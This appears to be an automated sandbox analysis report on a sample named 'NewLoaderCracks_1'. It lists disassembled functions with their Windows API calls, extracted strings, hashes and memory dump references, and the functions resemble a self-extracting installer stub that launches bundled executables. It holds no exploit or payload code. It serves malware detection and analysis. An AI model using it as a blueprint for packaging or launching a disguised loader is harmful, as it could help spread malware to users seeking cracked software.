SetDllDirectoryW, xrefs: 005500F0
4=W, xrefs: 005501EC
dwmapi.dll, xrefs: 00550581
T;W, xrefs: 00550154
X>W, xrefs: 00550252
@>W, xrefs: 00550247
?W, xrefs: 005502AA
(@W, xrefs: 00550323
?W, xrefs: 00550302
>W, xrefs: 00550289
DXGIDebug.dll, xrefs: 00550169, 005504D3
\AW, xrefs: 005503A7
kernel32, xrefs: 005500DD
l<W, xrefs: 0055055C
|<W, xrefs: 005501AC
X@W, xrefs: 00550339
p?W, xrefs: 005502CB
P<W, xrefs: 0055019C
p>W, xrefs: 0055025D
T?W, xrefs: 005502C0
D=W, xrefs: 005501F4
8<W, xrefs: 00550194
(>W, xrefs: 0055023C
0AW, xrefs: 00550391
<?W, xrefs: 005502B5
DAW, xrefs: 0055039C
@@W, xrefs: 0055032E
x=W, xrefs: 00550204
<W, xrefs: 0055018C
`=W, xrefs: 005501FC
SetDefaultDllDirectories, xrefs: 00550121
uxtheme.dll, xrefs: 0055058B
p@W, xrefs: 00550344
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 005505F8

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l
String ID: <W$ ?W$(>W$(@W$0AW$4=W$8<W$<?W$@>W$@@W$D=W$DAW$DXGIDebug.dll$P<W$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$T;W$T?W$X>W$X@W$\AW$`=W$dwmapi.dll$kernel32$l<W$p>W$p?W$p@W$uxtheme.dll$x=W$|<W$>W$?W
API String ID: 1201351596-3621305052
Opcode ID: 8c716e16c611a1aa6b269e4e59232659e400b0ebd3c0421aa48d1a504c0e1d5a
Instruction ID: 437050f528a988146318b5279ca2eaa6281915d7c4656b0eb682980149d45a64
Opcode Fuzzy Hash: 8c716e16c611a1aa6b269e4e59232659e400b0ebd3c0421aa48d1a504c0e1d5a
Instruction Fuzzy Hash: 80D16DB1008385ABD7219F50A84DB9FBEE8BF84765F50891DF98D96180D7B0864CBF63

Function 0055BDF5 Relevance: 31.9, APIs: 14, Strings: 4, Instructions: 429
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 0055BDFA

Part of subcall function 0055AA36: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 0055AAFE

SetWindowTextW.USER32(?,?), ref: 0055C127
_wcsrchr.LIBVCRUNTIME ref: 0055C2B1
GetDlgItem.USER32(?,00000066), ref: 0055C2EC
SetWindowTextW.USER32(00000000,?), ref: 0055C2FC
SendMessageW.USER32(00000000,00000143,00000000,0058A472), ref: 0055C30A
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0055C335

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0055C1D0
ProgramFilesDir, xrefs: 0055C1FB
%s.%d.tmp, xrefs: 0055BFF6
<br>, xrefs: 0055C08A

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 3564274579-312220925
Opcode ID: 760b2dc180ce1163df2e0b23ff3f77bc4244fdb7092f8892fc3f508342201ad5
Instruction ID: f9689fe3bc8b4f77d8886783806681fc4f878358bc406526c5e97b9879f1a586
Opcode Fuzzy Hash: 760b2dc180ce1163df2e0b23ff3f77bc4244fdb7092f8892fc3f508342201ad5
Instruction Fuzzy Hash: 56E16E76D00219AADF25DBA4DC59DEE7F7CBF59312F0040A7F909E3051EA709A889B60

Function 0054D341 Relevance: 25.1, APIs: 4, Strings: 10, Instructions: 555
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 0054D346
_wcschr.LIBVCRUNTIME ref: 0054D367
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,0054D328,?), ref: 0054D382
__fprintf_l.LIBCMT ref: 0054D873

Part of subcall function 0055137A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,0054B652,00000000,?,?,?,00010408), ref: 00551396

Strings

*messages***, xrefs: 0054D4D3
RTL, xrefs: 0054D838
,, xrefs: 0054D8AE
*messages***, xrefs: 0054D49A
$9W, xrefs: 0054D6AF
$%s:, xrefs: 0054D856
R, xrefs: 0054D4E5
@%s:, xrefs: 0054D85D, 0054D869
, xrefs: 0054D67A
a, xrefs: 0054D4EF

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: ByteCharFileH_prologModuleMultiNameWide__fprintf_l_wcschr
String ID: $ ,$$%s:$$9W$*messages***$*messages***$@%s:$R$RTL$a
API String ID: 4184910265-1921293341
Opcode ID: 562a4b20dbecd5484a4fd7d66c268665784bffa0b3f76807f264ebffed33b4f8
Instruction ID: 24b0250921925d87ce518ac5fe136e20d05afb0513e89e4f95a1340fe42a2e82
Opcode Fuzzy Hash: 562a4b20dbecd5484a4fd7d66c268665784bffa0b3f76807f264ebffed33b4f8
Instruction Fuzzy Hash: 5A12D571D0021A9ADF24DFA4DC85BEEBFB5FF44718F10456AF506A7281EB709A44CB24

Function 0055CB5A Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0055AC74: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0055AC85
Part of subcall function 0055AC74: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0055AC96
Part of subcall function 0055AC74: IsDialogMessageW.USER32(00010408,?), ref: 0055ACAA
Part of subcall function 0055AC74: TranslateMessage.USER32(?), ref: 0055ACB8
Part of subcall function 0055AC74: DispatchMessageW.USER32(?), ref: 0055ACC2

GetDlgItem.USER32(00000068,0059ECB0), ref: 0055CB6E
ShowWindow.USER32(00000000,00000005,?,?,?,?,?,?,?,0055A632,00000001,?,?,0055AECB,00574F88,0059ECB0), ref: 0055CB96
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0055CBA1
SendMessageW.USER32(00000000,000000C2,00000000,005735B4), ref: 0055CBAF
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0055CBC5
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 0055CBDF
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0055CC23
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 0055CC31
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0055CC40
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0055CC67
SendMessageW.USER32(00000000,000000C2,00000000,0057431C), ref: 0055CC76

Strings

\, xrefs: 0055CBCF

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: 58ec1fa77f01ee8784d8e9407c7c53a0379a02e2298395f58a16448bea59edc0
Instruction ID: 71c6dff1e96fe470ba0ac0f776323346cd799d336441225317ac6fb1db0083eb
Opcode Fuzzy Hash: 58ec1fa77f01ee8784d8e9407c7c53a0379a02e2298395f58a16448bea59edc0
Instruction Fuzzy Hash: 5831E171149342AFE301DF24DC4AFAB7FACFB92705F010509FA50961A1DB644A0CE776

Function 0055CE22 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExW.SHELL32(?), ref: 0055CF54
ShowWindow.USER32(?,00000000), ref: 0055CF93
GetExitCodeProcess.KERNEL32(?,?), ref: 0055CFCF
CloseHandle.KERNEL32(?), ref: 0055CFF5
ShowWindow.USER32(?,00000001), ref: 0055D084

Part of subcall function 005517AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,0054BB05,00000000,.exe,?,?,00000800,?,?,005585DF,?), ref: 005517C2

Strings

.inf, xrefs: 0055CF10
, xrefs: 0055CEA2
.exe, xrefs: 0055CFFF

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: ShowWindow$CloseCodeCompareExecuteExitHandleProcessShellString
String ID: $.exe$.inf
API String ID: 3686203788-2452507128
Opcode ID: 22d6f019b171b52167c31a0bdad98d9a6f4bb8a641b397c368579ba06a06ed06
Instruction ID: 7a054233a0a47ba0586b95df795aa23490ccda125f6b969536fbf5aca05da008
Opcode Fuzzy Hash: 22d6f019b171b52167c31a0bdad98d9a6f4bb8a641b397c368579ba06a06ed06
Instruction Fuzzy Hash: E661B0714043809EDB31DF2498296AB7FF9BF91346F04481BECC5972A1E7B1898DDB62

Function 0056A058 Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00564E35,00564E35,?,?,?,0056A2A9,00000001,00000001,3FE85006), ref: 0056A0B2
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,0056A2A9,00000001,00000001,3FE85006,?,?,?), ref: 0056A138
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,3FE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0056A232
__freea.LIBCMT ref: 0056A23F

Part of subcall function 00568518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0056C13D,00000000,?,005667E2,?,00000008,?,005689AD,?,?,?), ref: 0056854A

__freea.LIBCMT ref: 0056A248
__freea.LIBCMT ref: 0056A26D

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 76595f8f7c92acca2715ccf5fd1352df0ec21c4d6a84d420183935acc75ac111
Instruction ID: d19133a32320ca8b9c15f10522ec9434ec451719dfafe22929c2b5cbf632b3f0
Opcode Fuzzy Hash: 76595f8f7c92acca2715ccf5fd1352df0ec21c4d6a84d420183935acc75ac111
Instruction Fuzzy Hash: BF51D072650216AFEB258E74CC55EBB7FA9FB81760F144628FC05E7140EB35DC80DAA2

Function 005499B0 Relevance: 7.6, APIs: 5, Instructions: 117
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,?,00000000,?,00000000,?,?,005478AD,?,00000005,?,00000011), ref: 00549A4C
GetLastError.KERNEL32(?,?,005478AD,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00549A59
CreateFileW.KERNEL32(?,?,?,00000000,00000003,?,00000000,?,?,00000800,?,?,005478AD,?,00000005,?), ref: 00549A8E
GetLastError.KERNEL32(?,?,005478AD,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00549A96
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,005478AD,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00549ADB

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: cd9173353533559696e1648da33f4cc46ff0c9e1e4fa1aacfdcffe543252c1c0
Instruction ID: a4fab81f586610e949281abc7ea0ebd97ec9336c1adab28e4008771e67c8e5d1
Opcode Fuzzy Hash: cd9173353533559696e1648da33f4cc46ff0c9e1e4fa1aacfdcffe543252c1c0
Instruction Fuzzy Hash: 4D4143305447466FE7208B20DC0ABEBBFD4BB45328F100719F9E8961D1E7B5A98CDB92

Function 0055AC74 Relevance: 7.5, APIs: 5, Instructions: 39
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0055AC85
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0055AC96
IsDialogMessageW.USER32(00010408,?), ref: 0055ACAA
TranslateMessage.USER32(?), ref: 0055ACB8
DispatchMessageW.USER32(?), ref: 0055ACC2

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 9680567be7d3720cc341b8e9f86899589c81b65eb01e59f920fc1dd45f14a36c
Instruction ID: 86eb586bc9d0498bf591701d0511e9512b12a6846b9c6198533bcb704a2236d0
Opcode Fuzzy Hash: 9680567be7d3720cc341b8e9f86899589c81b65eb01e59f920fc1dd45f14a36c
Instruction Fuzzy Hash: 16F03071D02129AB8B20DBE5EC4DDEB7F6CFE16251B404515F915D2110EB34D40DD7B1

Function 0055A2C7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 0055A2DE
SHAutoComplete.SHLWAPI(?,00000010), ref: 0055A315

Part of subcall function 005517AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,0054BB05,00000000,.exe,?,?,00000800,?,?,005585DF,?), ref: 005517C2

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 0055A305

Strings

EDIT, xrefs: 0055A2E9, 0055A2F4, 0055A301

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: a3e24ad31f259184b79794486daef1c3e24efaecb47bc45df59e34785a52197a
Instruction ID: 94c80fec9c373b82929b89846f371255a7c70154276e83040ee9ee3b59b88cc3
Opcode Fuzzy Hash: a3e24ad31f259184b79794486daef1c3e24efaecb47bc45df59e34785a52197a
Instruction Fuzzy Hash: B7F0A732A012287BEB3056689C0AFDB7BACBF47B11F050557BD05E2180D760AD49D6F6

Function 0055A335 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00550085: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 005500A0
Part of subcall function 00550085: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0054EB86,Crypt32.dll,00000000,0054EC0A,?,?,0054EBEC,?,?,?), ref: 005500C2

OleInitialize.OLE32(00000000), ref: 0055A34E
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 0055A385
SHGetMalloc.SHELL32(00588430), ref: 0055A38F

Strings

riched20.dll, xrefs: 0055A33D

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll
API String ID: 3498096277-3360196438
Opcode ID: 6b96e99fecd9bfabdc16f41b47f03c4c65a08bea8e53875adab71c21d01ce843
Instruction ID: 4d314500f595d7f62bcabb29dc0a1eaca15f7b1ff9ecbca37071e0208e40faae
Opcode Fuzzy Hash: 6b96e99fecd9bfabdc16f41b47f03c4c65a08bea8e53875adab71c21d01ce843
Instruction Fuzzy Hash: 77F0E7B190020AABCB10AF99984A9AFFFFCFF95705F00415AE814A2251DBB456099FA1

Function 0055D287 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 0055D29D
SetEnvironmentVariableW.KERNELBASE(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 0055D2D9

Strings

sfxcmd, xrefs: 0055D298
sfxpar, xrefs: 0055D2D4

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: 6a335a68b09de62fd92e07c9970609964469315e21d7ca5104997c43b626c366
Instruction ID: 85003c59b0508d267d0d747781a58a47883c26572472f959cf3f0ad9c2d8755d
Opcode Fuzzy Hash: 6a335a68b09de62fd92e07c9970609964469315e21d7ca5104997c43b626c366
Instruction Fuzzy Hash: F0F08C72800228A6CB202F95AC1EAEA7F68FF19B52B004452FC88A6151E660CD84F7F1

Function 0054984E Relevance: 6.1, APIs: 4, Instructions: 57
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 0054985E
ReadFile.KERNELBASE(?,?,00000001,?,00000000), ref: 00549876
GetLastError.KERNEL32 ref: 005498A8
GetLastError.KERNEL32 ref: 005498C7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 1d53973138a5a4dc715d47f79d3fd2b96737a710395618fdd3a24f80d3ad6c0b
Instruction ID: 7bb8f84bf745e92587a1e56a81ddc0cf614e7f9b922b3b73d46dc8d41c4b502f
Opcode Fuzzy Hash: 1d53973138a5a4dc715d47f79d3fd2b96737a710395618fdd3a24f80d3ad6c0b
Instruction Fuzzy Hash: FE11E530900204EFDB205B59D80AAFB3FA8FB93738F10C62AF42A85580D735DE44AF52

Function 0056A4F4 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,0054CFE0,00000000,00000000,?,0056A49B,0054CFE0,00000000,00000000,00000000,?,0056A698,00000006,FlsSetValue), ref: 0056A526
GetLastError.KERNEL32(?,0056A49B,0054CFE0,00000000,00000000,00000000,?,0056A698,00000006,FlsSetValue,00577348,00577350,00000000,00000364,?,00569077), ref: 0056A532
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0056A49B,0054CFE0,00000000,00000000,00000000,?,0056A698,00000006,FlsSetValue,00577348,00577350,00000000), ref: 0056A540

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
